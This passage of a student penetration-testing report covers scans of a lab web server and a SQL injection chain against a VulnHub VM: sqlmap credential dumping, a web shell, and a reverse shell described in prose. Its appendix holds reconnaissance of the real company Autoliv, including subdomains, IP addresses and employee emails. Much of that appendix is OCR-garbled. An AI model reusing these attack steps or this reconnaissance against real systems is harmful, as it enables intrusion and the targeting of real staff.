information disclosure, or injection-based attacks.
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Missing Security Headers
Several important HTTP security headers were not configured, including:

o X-Frame-Options
o X-Content-Type-Options

The absence of these headers increases the risk of clickjacking attacks and browser-based
content manipulation.

Directory Indexing Enabled
Nikto identified several directories with directory indexing enabled, including:

e [icons/
e /doc/
e [test/

Directory indexing allows attackers to browse server file structures and discover sensitive
files or hidden application components.

phpinfo() Information Disclosure

A publicly accessible phpinfo.php file was discovered. This file reveals extensive server
configuration details including installed modules, environment variables, and system
information that could assist attackers during exploitation.

Administrative Interfaces Exposed
The scan also detected the presence of phpMyAdmin, a database administration interface
that should normally be restricted to authorized users or internal networks.

HTTP TRACE Method Enabled

The HTTP TRACE method was enabled on the web server. This configuration may allow
attackers to perform Cross-Site Tracing (XST) attacks and potentially expose authentication
information.

Security Impact

Outdated web server software and insecure configurations significantly increase the attack
surface of a web application environment.

The vulnerabilities identified during this scan could allow attackers to:

¢ lIdentify vulnerable software versions for targeted exploitation
e Enumerate sensitive directories and configuration files

e Gather detailed server configuration information

e Perform browser-based attacks such as clickjacking

o Exploit outdated PHP components

In a real enterprise environment, these weaknesses could lead to web server compromise,
credential exposure, and potential lateral movement within the network.
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All scanning activity was conducted strictly within the authorized academic sandbox
environment and does not represent real AutoLiv infrastructure.

7.4.2 Web Application Enumeration Using Metasploit WMAP
Tool: Metasploit Framework
Plugin: WMAP Web Application Scanner
Target Host: 192.168.0.5
Environment: Kali Linux (GCU Virtual Lab)

Command / Method

Following identification of the web server during the reconnaissance phase, the Metasploit
Framework was used to perform additional web application enumeration using the WMAP

plugin.

The Metasploit console was launched from the Kali Linux terminal:

msfconsole

The WMAP plugin was then loaded into the framework:

load wmap

After loading the plugin, the target website was added to the WMAP scanning database:

wmap_sites -a 192.168.0.5

The target host was then defined for scanning:

wmap_targets -t 192.168.0.5

Once configured, the WMAP scan was executed using all available modules:

wmap_run -e

The WMAP scanner performed automated enumeration of directories, files, and web
application resources associated with the target host. The scan identified multiple accessible
directories and files hosted on the Apache web server (Figure 100).
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Findings
The WMAP scan identified numerous accessible web directories and application files
including:
e /admin/
e /images/
e /icons/
e /css/
e /classes/
e J/index.php
o /header.php
e /show.php

Several directories returned HTTP status code 200, confirming that they were publicly
accessible.

These directories may contain application components, configuration files, or administrative
interfaces that could provide additional attack vectors.

Administrative directories such as /admin/ represent particularly valuable targets because
they may contain authentication portals or management interfaces.

Security Impact

Web application directory enumeration allows attackers to map the structure of a website
and identify hidden application functionality.

The discovery of administrative directories and application scripts significantly improves
attacker reconnaissance and enables:

¢ Discovery of authentication portals

¢ Identification of sensitive application components
o Targeted web application exploitation

e Enumeration of configuration and script files

If left unprotected in a real enterprise environment, these exposed directories could enable
attackers to access administrative systems, manipulate application logic, or extract sensitive
data.

All enumeration activity was performed within the authorized academic laboratory
environment.
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7.4.3 Web Application Vulnerability Scanning Using OWASP ZAP
Tool: OWASP ZAP (Zed Attack Proxy)
Target Host: 192.168.0.5
Environment: Kali Linux (GCU Virtual Lab)

Command / Method

OWASP ZAP was used to perform an automated vulnerability scan against the web
application hosted on the Metasploitable system.

The OWASP ZAP graphical interface was launched from the Kali Linux environment and
configured to target the following URL:

http://192.168.0.5

A traditional spider scan was executed to crawl the website and identify accessible pages
and application components. After the spider completed enumeration, an automated active
vulnerability scan was performed against the discovered endpoints.

The ZAP scanner tested the application for common web vulnerabilities including injection
attacks, cross-site scripting, insecure cookies, and missing security headers.

Upon completion, ZAP generated a vulnerability report categorizing findings by severity level
including High, Medium, Low, and Informational alerts (Figures 101-103).

Findings
The ZAP vulnerability scan identified multiple web application security issues.
High Severity Vulnerabilities

Cross-Site Scripting (Reflected)

The application was found to be vulnerable to reflected cross-site scripting attacks. User
input was returned directly in HTTP responses without proper sanitization, allowing attackers
to inject malicious JavaScript into the application.

SQL Injection (MySQL)
The scanner identified SQL injection vulnerabilities that may allow attackers to manipulate
database queries and retrieve sensitive data from the backend database.

Medium Severity Vulnerabilities
Several application security controls were missing, including:

e Absence of Anti-CSRF Tokens

e Content Security Policy (CSP) header not configured
o Directory browsing enabled

e Missing anti-clickjacking protections
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o Low Severity Findings
Additional configuration weaknesses included:

o Cookies missing the HttpOnly attribute

o Cookies missing the SameSite attribute

e Server version information exposed in HTTP headers
o Missing X-Content-Type-Options header

Informational Findings

Additional informational alerts were identified including authentication requests, session
management behavior, and user-agent fuzzing responses.

Security Impact

The vulnerabilities identified by OWASP ZAP demonstrate multiple weaknesses in the web
application security configuration.

If present in a real enterprise system, these vulnerabilities could allow attackers to:

¢ Execute malicious scripts within user browsers

¢ Manipulate backend database queries

o Steal session cookies and authentication tokens

o Perform cross-site request forgery attacks

e (Gain unauthorized access to sensitive application data

Combined exploitation of these vulnerabilities could lead to full compromise of the web
application and provide attackers with an entry point into the broader network environment.

All vulnerability testing was conducted within the authorized academic sandbox environment
and does not represent real AutoL.iv infrastructure.
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8.0 SQL Injection

8.1 Overview

The SQL Injection phase focused on identifying and exploiting input validation vulnerabilities
within a vulnerable web application hosted in the controlled lab environment. The target
application, a photoblog platform, was tested to determine whether user-supplied input could
manipulate backend SQL queries.

SQL Injection is a critical vulnerability that allows attackers to alter database queries,
potentially leading to authentication bypass, database enumeration, data extraction, and full
system compromise. This phase demonstrated how improper input sanitization and insecure
query construction can allow attackers to escalate from simple input manipulation to
complete control of the underlying system.

All testing was conducted within an isolated virtual machine environment and mapped to a
simulated AutoLiv web application scenario for academic purposes.

8.2 Recommendation

Based on the SQL Injection findings, the following security recommendations are provided:

e Implement parameterized queries and prepared statements for all database
interactions

e Enforce strict server-side input validation and sanitization

o Use least-privilege database accounts to limit impact of compromise

o Deploy Web Application Firewalls WAF to detect and block injection attempts

e Perform regular secure code reviews and penetration testing

¢ Implement proper error handling to prevent database information leakage

Proper mitigation of SQL Injection vulnerabilities significantly reduces the risk of
unauthorized access, data breaches, and system compromise.

8.3 Scope

Environment
» Platform: Kali Linux GCU Virtual Lab

* Target: SQL Injection to Shell VM VulnHub
* Web Application: Photoblog vulnerable web application

Tools Used

* Web Browser manual SQL injection testing

+ SQLmap automated SQL injection exploitation
* NetDiscover network enumeration

» Metasploit Framework post exploitation
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Ethical Limitation

* All testing was performed in a controlled lab environment
* No real-world systems were targeted
* Activities complied with ethical hacking standards and course requirements

8.4 Details

8.4.1 Initial SQL Injection Reconnaissance
Method / Input Tested
Initial testing was performed on the photoblog application by submitting user-controlled input
into URL parameters and input fields to observe application behavior (Figure 105) (Figure
106).

Findings

The application returned abnormal responses when input was manipulated, including blank
pages and SQL error messages, indicating improper input handling and lack of sanitization
(Figure 107) (Figure 108) (Figure 109).

Further testing using ORDER BY injection revealed the number of columns in the backend
query, confirming the presence of a SQL injection vulnerability (Figure 110).

UNION SELECT statements were then used to validate injectable columns and extract
database-related information, including the database name photoblog (Fiqure 111) (Figure
112).

Security Impact

This vulnerability allows attackers to:
* I[dentify injectable parameters

* Enumerate database structure

* Prepare for further exploitation

8.4.2 Network Reconnaissance Supporting Exploitation
Method
NetDiscover was used to identify active hosts within the lab environment prior to automated
exploitation.

Findings
The scan identified the target system hosting the vulnerable web application, confirming
network visibility and accessibility for further attacks (Figure 113).

Security Impact

Network discovery enables attackers to:
* |dentify reachable targets

* Map internal network structure

* Prepare for targeted exploitation
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8.4.3 Database Enumeration Using SQLmap

Tool
SQLmap

Command / Method
sqlmap -u target_url --dbs

Findings

SQLmap successfully detected the injectable parameter and confirmed the presence of a
SQL injection vulnerability. The tool enumerated available databases, including the
photoblog database (Figure 114) (Figure 115).

Security Impact

Automated tools significantly accelerate exploitation by:
« Identifying injection points

* Enumerating databases

* Reducing manual attack effort

8.4.4 Database Structure Extraction

Command
sqlmap -u target_url -D photoblog --tables

Findings
SQLmap extracted the database structure, revealing tables within the photoblog database
(Eiqure 116) (Fiqure 117).

Further enumeration identified columns within sensitive tables such as the users table
(Fiqure 118).

Security Impact

This allows attackers to:

* Map application database structure
* I[dentify sensitive tables

» Target credential storage locations

8.4.5 Credential Dumping
Command
sqlmap -u target_url -D photoblog -T users --dump

Findings
SQLmap successfully extracted user credentials, including administrative login information,
demonstrating a complete compromise of sensitive data (Figure 119) (Figure 120).

The extracted credentials were then used to authenticate into the web application’s
administrative interface (Figure 121) (Fiqure 122).
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Security Impact

This represents a severe breach, enabling:
* Credential theft

» Unauthorized administrative access

* Privilege escalation

8.4.6 Web Shell Upload and Command Execution
Method
After gaining administrative access, a web shell was uploaded to the application, enabling
remote command execution.

Findings

The uploaded shell allowed execution of system-level commands, including user
identification, directory listing, and path discovery (Figure 123) (Figure 124) (Fiqure 125) (Figure
126) (Figure 127).

Additional files were uploaded to confirm write access and persistence on the system (Figure

128) (Figure 129).

Security Impact

This stage demonstrates:

* Remote command execution
* File system access

« Ability to maintain persistence

8.4.7 Payload Generation and Reverse Shell Execution
Method
A malicious PHP payload was generated using msfvenom and executed through the web
application.

Findings
The payload successfully executed, establishing a reverse shell connection from the target
system (Figure 130) (Fiqure 131).

Security Impact

This allows attackers to:

» Gain interactive system access

» Execute arbitrary commands remotely

* Maintain control of the compromised system
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8.4.8 Post Exploitation Using Metasploit
Tool
Metasploit Framework

Findings
Metasploit was used to handle the reverse shell connection and establish a persistent
session with the compromised system (Figure 132) (Figure 133).

The session provided full command-line access, allowing directory enumeration and
interaction with system files (Figure 134) (Figure 135) (Figure 136).

Security Impact

This demonstrates full system compromise, allowing attackers to:
» Maintain persistent access

» Execute system-level commands

» Navigate and manipulate the file system
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Appendix

Craft.co Autoliv Executive Team Figure 1

L

Product  Solutions  Partners  Resources

Company

Overview Locations Financials Operating Metrics Human Capital Key People Competitors  Supplier Risk

== Autoliv CEO and Key Executive Team
4 W &
[ m o
Jan Carlson

o

Min Liu

rector

Mikael Bratt

Fredrik Westin

©

Leif johansson

Jirector

Jordi Lombarte Jennifer Cheng
hief Technology Officer  Preside

Hasse Johansson

Xiaozhi Liu

Frédéric Lissalde

Thaddeus Senko

Magnus Jarlegren
Executive Vice President hairma

Franz-Josef Kortim Laurie Brlas

Martin Lundstedt

DNSDumpster search Figure 2

Enter a Domain to Test

Start Testl

>> Free users are limited to 5@ results for a single domain. Get 12 months Plus Access - on Sale Now.

System Locations

Hosting / Networks Services / Banners

ATCS-HD-45 - AT
ATCS-HD-45 - AT
MICROSOFT-CORP-H D
AS-TRONP-VEGA - D
BigIP n
Microsoft-115/10.0 3

CHINAET-S-4P € D

Microsoft-Azure-Application- 3

ue = Gateway/v2
= aE

S5H-2.6-Unknown_1.0.0 2

nginx/1.27.4 2

Showing 58 records out of a total of 98 found.
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ViewDNS.info domain search Figure 3

IP history results for 'autoliv.com’.

IP ADDRESS LOCATION
52.17.142.199 Dublin - Ireland
45.60.101.209 United States
206.18.104.151 United States
63.240.170.117 United States

IP ADDRESS OWNER

AMAZON-02

INCAPSULA

ATT-CERFNET-BLOCK

ATT-CERFNET-BLOCK

ViewDNS.info subdomain search top 10 Figure 4

HTML JSON

Subdomain Discovery Results for ‘autoliv.com’
We found 411 subdomains for this domain.

These are listed below:

SUBDOMAIN

achen.autoliv.com
achedi.autoliv.com
alva-autodiscover-vip.autoliv.com
alva-ccmcube01-out.autoliv.com
alva-cloudmail-vip.autoliv.com
alva-dia-tracker.autoliv.com
alva-emailsearch-vip.autoliv.com
alva-enxrtr01-out.autoliv.com
alva-f5e-v5-floating.autoliv.com

alva-f5e03-v5-self.autoliv.com

IP ADDRESS

116.228.81.20

202.135.14.12

213.62.152.157
213.62.152.182
213.62.152.141
213.62.152.148
213.62.152.152
213.62.152.142
213.62.152.140

213.62.152.138
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Whols.com Domain Information Figure 5

“= Domain Information

Domain: autoliv.com

Registered On: 1998-03-25

Expires On: 2026-03-24

Updated On: 2025-03-18

Status: client transfer prohibited
Mame Servers: dns1.p01.nsone.net

dns2.p01.nsone.net
dns3.p01.nsone.net
dns4.p01.nsone.net

Whols.com Registrar Information / Contact Figure 6

(R) Registrar Information

Registrar: EuroDNS S.A.

IANA ID: 1052

Abuse Email: legalservices@eurodns.com
Abuse Phone: +352.27220150

Registrant Contact

o
P

Name: Privacy Whois

Street: BPM 333868 Banzelt4 A
Root-sur-Syre

State: 6921

Country: LU

Phone: +35227720304

Email: 2192f0011e82e4c8_o@Whoisprivacy.com
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MXtoolbox.com MX lookup Figure 7

SuperTool Betas

mx:autoliv.com ‘Solve Email Delivery Problems.

Microsoft Outiook.com now requires DMARC - Get SPF. DKIM and DMARC setup and maintain compliance with Delivery Center

Pref Hostname 1P Address. m

5 mx1.autoliv.c3s2 iphmx.com 68.232.151.179 24hrs
Ciseo Systarma Ireepen Dnision (AS30236)

5 mx2 autoliv 352 iphm com 32151179 24hrs

arma Iroeport Dnision (AS30236)
Test Result

(] DNS Record Published DNS Record found

[-] DMARC Record Published OMARC Record found

-] DMARC Policy Not Enabled DMARC Quarantine/Reject palicy enabled

AutoLiv Requires Cookies (Cookie Policy) Figure 8

Blacklist Check  SMTP Test

Blacklist Check ~ SMTP Test

ki you get

lected pariners use cookies and similar tecl = (1ogether “caokies”) that are necessary 1 this website, and to ensure you get the

insent 1o it, we will alsa use cookies for analytics and marketing purposes.

ou can withdraw and manage your consent at any time, by clicking "Manage cookies” st the bottam of esch website page.

Accept all cookies

Gectine all non-necessary coakies

Coakie preferences

Hunter.io Domain Search Figure 9

Domain Search @

susl aULOliv.com

55 results for autoliv.com 2, Enter a full name... Q,

Job title ~ Verification status Saved leads ~ + Add filter

People - 48 Generic - 7
* Management 4
["] Hamida Hadhoum ¥/  HR Director
hadhoum.hamida@auteliv.com & | in 2 sourcesv

[C] Aaron B. ' Supply Chain Manager

*=exsssr@autoliv.ecom @ | in

[] CamillaB. HR Manager

*xerxsr@autoliv.com @ | in

Kamonchai M. = Quality Assurance Manager

rrerreer@autoliv.ecom @ | in

+* Sales 3

[] Lindi R. ¥4 HR Business Partner

*=exsssr@autoliv.ecom @ | in

[ AnettH.YY HR Business Partner

*xerxsr@autoliv.com @ | in

[] MariaT.%¥ HR Business Partner

rrerreer@autoliv.ecom @ | in
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AutoLiv SSL Certificate Figure 10

autoliv.com

Certificate Viewer: www.autoliv.com

General  Details

Issued To

Common Mame (CN) ww.autoliv.com
Organization (0) Autoliv Aktiebolag
Organizational Unit (OU)  <Not Part Of Certificate>

Issued By

Common Name (CN) DigiCert Global G2 TLS RSA SHA256 2020 CA1
Organization () DigiCert Inc
Organizational Unit (OU)  <Not Part Of Certificate>

Validity Period

Issued On Sunday, December 21, 2025 at 5:00:00 PM
Expires On Thursday, January 14, 2027 at 4:59:59PM

SHA-256
Fingerprints
Certificate 074f7c26150fe1257f4d 108ab9352ch 235603583 1a778b693bda4995953
dbf5d
Public Key 2041431840673 7F1b3b63OF45084d 1961945763 1c4115000250a2
Oc3cb

AutoLiv Careers Page Loads Publicly Figure 11

Page 74 of 119




AutolLiv Pen Testing Report

Login Portals Identified via DNSDumpster Figure 12

appew-musc. autoliv. com 20.88.224.199 <1: 8079 MICROSOFT-CORP-MSN-AS-BLOCK - Microsoft Microsoft-Azure-Application-Gateway/v2
20.64.0.8/10 Corporation title: 484 Not Found
United States cn: apim.autoliv.com
o Autoliv Aktiebolag
desktop-ap.autoliv.com 202.135.14.54 AN 2687 ATGS-MMD-AS - ATAT Enterprises, LLC http: UNKNOWN server
desktop-ap. autoliv. com 202.135.0.0/16 Australia tech: Apache HTTP Server
https: unknown server
tech: Apache HTTP Server
desktop-eu.autoliv.com 213.62.152.181 ASH: 2686 ATGS-MMD-AS - ATAT Enterprises, LLC https: unknown server
desktop-eu_autoliv. com 213.62.0.8/16 The Netherlands tech: Apache HTTP Server
desktop-na.autoliv.com 12.106.164.21 AN: 7018 ATT-INTERNET4 - ATAT Enterprises, LLC http: UNKNOWN server
desktop-na_autoliv. com 12.8.0.08/9 United States tech: Apache HTTP Server
https: unknown server
tech: Apache HTTP Server
desktop-test.autoliv.com 213.62.152.196 =1 2686 ATGS-MMD-AS - ATAT Enterprises, LLC
213.62.0.8/16 The Netherlands
dv-apim.autoliv.com 20.31.36.24 =1-8875 MICROSOFT-CORP-MSN-AS-BLOCK - Microsoft ttns: Microsoft-Azure-Application-Gateway/v2
20.0.0.8/1 Corporation title: 484 Not Found
The Netherlands c: apim.autoliv.com

o Autoliv Aktiebolag

AutoLiv Job Postings Figure 13

career.autoliv.com/

Looking for a new challenge?

Global IT Category Purchasing Supply Chain Risk Management Supply Chain Risk Management
Manager 100% base... Specialist Manager
Purchasing & Logistics - Autoliv Purchasing & Logistics - Autoliv Purchasing & Logistics - Autoliv
Switzerland - Hybrid = Romania * Hybrid & Romania - Hybrid &

1 . . Threat eXposure & Intelligence . .
Direct Material Operations Buyer s : IT Automation Quality Assurance
upervisor
Purchasing & Logistics - Autoliv i 6 TeaHHG ') it Information Technology (IT) - Multiple
Romania - Hybrid = pfomiaton Techology(IT) Autaly locations - Hybrid =

Romania - Hybrid =

Supply Chain Sustainability
Senior Specialist

IT Automation Expert Indirect Operations Buyer

Information Technology (IT) - Multiple Purchasing & Logistics - Autoliv
o inc © | ndistine . Autali
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Third-Party Platform (TeamTailor) used for career pages Figure 14

Career site Locations Departments Autoliv Group

Start Autolv Switzerland Finance

Departments

Locations

Autoliv Frane

Al dapartments. All group companies

Employes login

AutoLiv 2024 Annual Sustainability Report / 10-K Page 17 Figure 15

Third parties that maintain certain of our confidential and proprietary information could experience a cybersecurity incident

We rely on third parties to provide or maintain some of our IT systems, data centers and related services and do not exercise direct
control over these systems. Despite the implementation of security measures at third party locations, these IT systems, data centers and
cloud services are arscl vulnerable to security breaches or other disruptions. Additionally, we and certain of our third-party vendors, collect
and store personal information in connection with human resources operations and other aspects of our business. While we obtain
assurances that any third parties to whom we provide data will protect this information and, where we deem appropriate, monitor the
protections they employ, there remains a risk that the confidentiality of data held by us or by third parties may be compromised, exposing
us to liability for such breach.

AutoLiv Press Releases Figure 16

Parmer Porisl  Comact 3 Giobal

Autoliv Company SaetySoltons  Sussinabiity imnovaon  Careers  invesiors  Meda  Q
——

Press Releases

Home > Media > Press Releases
ve
a ~ Ay
2026 2026 2024 2023 2022 Archive

30 Jan 2028, 1260
Financial Report October - December 2025
Invitation to Autoliv's Q4, 2025 Earnings Call

Autalivand s World's First L driving

FEATURED REPORT 2 KEEP IN TOUCH FOLLOW US

date, ragister for our press 0 a O
p to pross releases LY

Annual and Sustainability
Report 2024 5
3
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AutoLiv Locations Figure 17

Autoliv Switzerland

Autoliv Thailand

Autoliv Brasil

Autoliv

Locations

Autoliv Germany

Autoliv Philippines

Autoliv United States

Autoliv United

Autoliv Canada

Autoliv Vietnam

AutoLiv Governance Page Figure 18

PartnerPortal  Contact

sal

Company oty Solutions  Sustainability  Innovation  Careers  Investors  Media

Autoliv
I B s s s N

Home  Company - Govermance

Long-term stakeholder value

structure, systems for intemal control and risk management and
transparency.

Autollv Inc. s a publicly traded corporation incorporated in Delaware, U.S.. with headquarters in Stockholm, Sweden. Autolivs corporate governance is subject

primacily 10.U.S. federal and state regulations as well a3 the ules and standards of the NYSE. T n aded on NASDAQ n
Stockholm
Corporata Polices —
Guidelines
In compliance and conjunction with applicable government lations and NYSE standards, approved the following guidelines and codes:
c Swedish Code on Corporata G USS. Rules and Practice
Rostatod Cortfcate of Incorporation
Business Conduct and Etics for Suppliers
These documents serve (o assist the Board in exercising acul and rfiect the 1o monitoring
ess S g at both ¢ vel. The Board C i Ce 4 a
it i pany, witha su value. The committees will continue to evaluate the
3 suficiency of these policies. and wil ime,

Swedish companies with shares admitted to trading on a regulated market in Sweden are subject to the Swedish Corporate Governance Code (the *Swedish Code),

A non-Swedish company listed in Sweden can elect 1o either apply the Swedish Code o' d codes s shares are

50 isted o where ipany has its AsaD with its primary kisting on the NYSE, Autoiiv Is expected to elect to apply and
comply with U.S. corporate govemance rules cluding the a Corporation Law, the rules  the NYSE and SEC rules
and regulations.

¢ us .
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Analytic and Tracking via BuiltWith.com Figure 19
B Hubspot

Hubspot Usage Statistics - Download List of All Websites using Hubspot
ides marketing via Inbounding marketing software.

® salesforce

Salesforce Usage Statistics - Download List of All Websites using Salesforce
Salestorce is aleading platform for cloud based web apps

= Cloudflare Insights

Cloudfiare Insights Usage Statistics - Download List of All Websites using Cloudfiare Insights
Visitor analytics and threat monitoring,

= Cloudflare Web Analytics

Cloudfiare Web Analytics Usage Statistics - Download List of All Websites using Cloudfiare Web Analytics
t web analytics from Cloudfiore

& Google Analytics

Google Analytics Usage Statistics - Download List of All Websites using Google Analytics
Google Anaiytics offers o host of compelling features ana benefits for everyane from senior exacutives and advertising and

& Google Universal Analytics

Google Universal Analytics Usage Statistics - Download List of All Websites using Google Universol Analytics
The analyticsjs Javascript snippet is o new way to measure how users interact with your website. It is simillar to the previous Google tracking code, gajs, but offers more flexibility for devel to customize their impl

& Global Site Tag

Global Site Tag Usage Statistics - Download List of all Wabsites using Global Site Tag
Googie's primary tog for Google Measurement/Conversion Tracking, Adwards and DoubleClick.

9 New Relic
New Relic Usage Statistics - Download List of All Websites using New Relic
New Relic is 0 dashboard used to keep an eye on appli health and availability while monitoring real user exparience.

Content Management System via BuiltWith.com Figure 20

Content Management System Global Trends

A Atlassian Cloud

Atlassian Cloud Usage Statistics - Download List of All Websites using Atlassian Cloud
Products including Jira and Confluence.

Tickating Systam

£ Notified
Notified Usage Statistics - Download List of All Websites using Notified

Notified is a glokal leader in communications for PR, IR, and events.

Financial

Investis

Investis Usage Statistics - Download List of All Websites using Investis
Investor relations website provider.
Financial

» Miro

Miro Usage Statistics - Download List of All Websites using Miro
Miro is an innovation workspace for teams to collaborate on projects, design products, and shape the future.

® Drupal

Drupal Usage Statistics - Download List of All Websites using Drupal
An engine suitable to setup or build a content driven or community driven website. Modular design allows flexibility in design.

Open Source

Frameworks via BuiltWith.com Figure 21

Fromeworks

obal Trends

A Adobe Enterprise Cloud

‘Adobe Enterprise Cloud Usoge Statistics - Download List of All Websites using Adobe Enterprise Cloud
Emails on this domain can create Adobe Enterprise Cloud accounts.

B ASP.NET
ASPNNET Usage Statistics - Download List of All Websites using ASPNET
ASPNETis@ [ % soft that use web sites, and XML web services. It s part of Microsoft's NET platform and is the successor to MIcrosoft's Active Server
Pages (ASP) technology.
R ASP.NET 4.0

ASPNNET 40 Usage Statistics - Download List of All Websites using ASPNET 40
ASPNET vrsion 40,4

[ OneTrust Domain Verification

OneTrust Domain Veritication Usage Statistics - Downioad List of All Websites using OneTrust Domain Verification
One Trust domain verification system.

© Java EE

Java EE Usage Statistics - Download List of All Websites using Java E€
Java Platform, Enterprise Edition (Java EE) is the industry standard for developing portable, robust, scalable and secure server-side Java applications.
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SSL Certificates via BuiltWith.com Figure 22

581 Certificatas

%= 5L by Default

551 by Defoult Usage Statistics - [

i List of All Websites using SSL by Default

The website redirects traffic 10 an HT L version by default

@ DigiCert SSL

DigiCert S5L Usag:

les - Downlood List of All Websites using DigiCert 55

Cestificate providad by DigiCert

st of All Websites using HSTS

& with the site using HTTPS.

& HSTS IncludeSubdomains PreLoad

ns Preload Usag -5 - Download List ¢ STS IncludeSubdomaing Prel ood

& HSTS preload kst

uctions for HSTS leading that would allow it 1o be subiT

Web Hosting / Servers via BuiltWith.com Figure 23

Web Hosting Providers

a Amazon

. Cloudflare Hosting

idfiare Hosting Usox

Download List of All Websites using Cloudfiore Host
Supsrcharged web hosting service

Nama Sarver

%= 20 to 29 ccTLD Redirects

edirects U

The domain has hod bet

Web Servers
a Amazon ALB

&5, in multipie Avolobility Zonss.

B BIG-IP

BIG-IP Usage nload Uist of All Website BIG-IF

High ovolobiity, improved performance, appiication security, and occess

s

This websit

Kali Linux “dig -v” Figure 24

kali@kali: ~
Session Actions Edit View Help

—(kali® kali)-[~]

DiG 9. 20 15-2-Debian

—(kali® kali)-[~]
1
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Kali Linux “dig autoliv.com” Figure 25
—(kali® kali)-[~]
=X autoliv.com

; <<>> DiG 9.20.15-2-Debian <<>> autoliv.com

global options: +cmd

;i Got answer:

;3 —»HEADER«— opcode: QUERY, status: NOERROR, id: 50079

;7 flags: gr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: @, ADDITIONAL: 1

77 OPT PSEUDOSECTION:

i EDNS: version: @, flags:; udp: 512

77 QUESTION SECTION:

jautoliv.com. IN A

73 ANSWER SECTION:
autoliv.com. 20659 IN A 52.17.142.199

Query time: 16 msec
;i SERVER: 8.8.8.8#53(8.8.8.8) (UDP)
73 WHEN: Sun Feb @1 22:38:57 EST 2026
;3 MSG SIZE rcvd: 56

Kali Linux “dig MX autoliv.com” Figure 26

’r—(kali@ kali)-[~]
¢ dig MX autoliv.com

; <<>> DiG 9.20.15-2-Debian <<>> MX autoliv.com

;i global options: +cmd

;i Got answer:

—»HEADER«— opcode: QUERY, status: NOERROR, id: 52733

flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: @, ADDITIONAL: 1

i

3i OPT PSEUDOSECTION:

i EDNS: version: @, flags:; udp: 512

37 QUESTION SECTION:

jautoliv.com. IN MX

;i ANSWER SECTION:
autoliv.com. 430 IN MX 5 mx2.autoliv.c3s2.iphmx.com.
autoliv.com. 430 IN MX 5 mx1l.autoliv.c3s2.iphmx.com.

i Query time: 16 msec

SERVER: 8.8.8.8#53(8.8.8.8) (UDP)
37 WHEN: Sun Feb @1 22:44:47 EST 2026
i MSG SIZE rcvd: 99

Kali Linux “dig NS autoliv.com” Figure 27

—(kali® kali)-[~]
dig NS autoliv.com

; <<>> DiG 9.20.15-2-Debian <<>> NS autoliv.com

global options: +cmd

Got answer:

—»HEADER%— opcode: QUERY, status: NOERROR, id: 5082

;i flags: qr rd ra; QUERY: 1, ANSWER: @, AUTHORITY: 1, ADDITIONAL: 1

77 OPT PSEUDOSECTION:

; EDNS: version: @, flags:; udp: 512

77+ QUESTION SECTION:

jautoliv.com. IN NS

7i AUTHORITY SECTION:

autoliv.com. 1685 IN SOA dnsl.p@l.nsone.net. hostmaster.nsone.net.

Query time: 12 msec
SERVER: 8.8.8.8#53(8.8.8.8) (UDP)
WHEN: Sun Feb 01 22:46:03 EST 2026
MSG SIZE rcvd: 105
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Kali Linux “dig TXT autoliv.com” Figure 28

(kali® kali)-[~]
dig TXT autoliv.com
;i Truncated, retrying in TCP mode.

; <<>> DiG 9.20.15-2-Debian <<>> TXT autoliv.com

global options: +cmd

Got answer:

—»HEADER«— opcode: QUERY, status: NOERROR, id: 51151

flags: qr rd ra; QUERY: 1, ANSWER: 23, AUTHORITY: @, ADDITIONAL: 1

;i OPT PSEUDOSECTION:
; EDNS: version: @, flags:; udp: 512

37 QUESTION SECTION:

;autoliv.com. w T

i ANSWER SECTION:

autoliv.com. 400 w T "docusign=3d83e41d-4f4c-4b12-9504-cbcec5494936"

autoliv.com. 400 n TXT “onetrust-domain-verification=0dee2426fd874d70bf3e5c37c948281"

autoliv.com. 400 w T "tb5+fNRNV3RL2nYaiS2+0lIm4ZQVf JeglLryD1q17ICGaq4LAEMDUY FWDR+rfel8Meb3PdF j f1MSadKC8LhQCg="
autoliv.com. 400 w T "UFf6dbu0gBbUB63fi2QNIZyefWg/txSHb/LuzDOu2nTODQP/ jaBwakipkcP52a06Bvn7 fus9c9Ytqrx3zvyKCa:
autoliv.com. 400 n TXT “onetrust-domain-verification=3480bdda0e3a4021bc0116f3eb56611F"

autoliv.com. 400 w T "9bbc87762d7749fd9765Fcc398772659"

autoliv.com. 400 n T "apple-domain-verification=tFSM7KAfWLUAdu7x"

autoliv.com. 400 n T "include:144238710.5pf02 . hubspotemail.net”

autoliv.com. 400 w T “atlassian-domain-verification=qzpZFn4J4fQIng61FVyQVGIYekMVN7GCqSImWLZBs4x17a230pUX/500g3Xh1cQ”
autoliv.com. 400 w T "airtable-verification=b179bdf661472c6861340160ee611437"

autoliv.com. 400 n T "dropbox-domain-verification=u27ho5agdysa”

autoliv.com. 400 w by “MS=ms96251990"

autoliv.com. 400 w T "7194bad0b62b4d80860CF72ed56e9352"

autoliv.com. 400 N T “onetrust-domain-verification=2de7d0354e754eed94fe15878daeasef "

autoliv.com. 400 w Ly "miro-verification=e4aeb3ef83912df1a3f95cf4768894d957fcd1ch”™

autoliv.com. 400 w T "dropbox-domain-verification=xkr52r2afédy"

autoliv.com. 400 N T adobe-idp-site-verification=0f8e1fc40b81ca89df4d05241308fF00929950d37aff8ef20cet7efb85c1a6a3”
autoliv.com. 400 w T “vmware-cloud-verification-ad18419c-3ef1-4cf6-9e10-40d96d04c3bb"

autoliv.com. 400 n T "pardot935833=Fd7b25df700d18eedbas9b7efb9d03377a72b95F77211931394c FbEbb4O3IEF4b™

autoliv.com. 400 n TXT “google-site-verificati xIeAshnQ8CdPiluf IXIZHntSn56c"

autoliv.com. 400 w T “v=spf1 mx include:spf.protection.outlook.con include:aspmx.pardot.com exists:%{i}.spf.autoliv.c3s2. iphnx.com iphi68.232.151.178 iph:68.232.152.133 -all®
autoliv.com. 400 n T “onetrust-domain-verification=01029ce43e954c1b86bc65dee3cf0524"

autoliv.com. 400 IN TXT "onetrust-domain-verification=a928bd99f32746e4b9e0701ea5e0d893"

Query time: 20 msec
i SERVER: 8.8.8.8#53(8.8.8.8) (TCP)
WHEN: Sun Feb 01 22:46:47 EST 2026
MSG SIZE rcvd: 1760

T “ ”

Kali Linux “dnsenum -v” Figure 29
(root® kali)-[~]

o ansenun v

dnsenum VERSION:1.3.1

usage: dnsenum [Optiens] <demain>

[Options]:

Note: If no -f tag supplied will default te /usr/share/dnsenum/dns.txt or

the dns.txt file in the same directory as dnsenum

GENERAL OPTIONS:

Kali Linux “dnsenum --noreverse autoliv.com” Figure 30

L—(rnot“kah) [~1

noreverse autoliv.com
dnsenum VERSTON:1.3.1
—— autoliv.com ——

Host's addresses:

autoliv.com. 20472 IN A 52.17.142.19
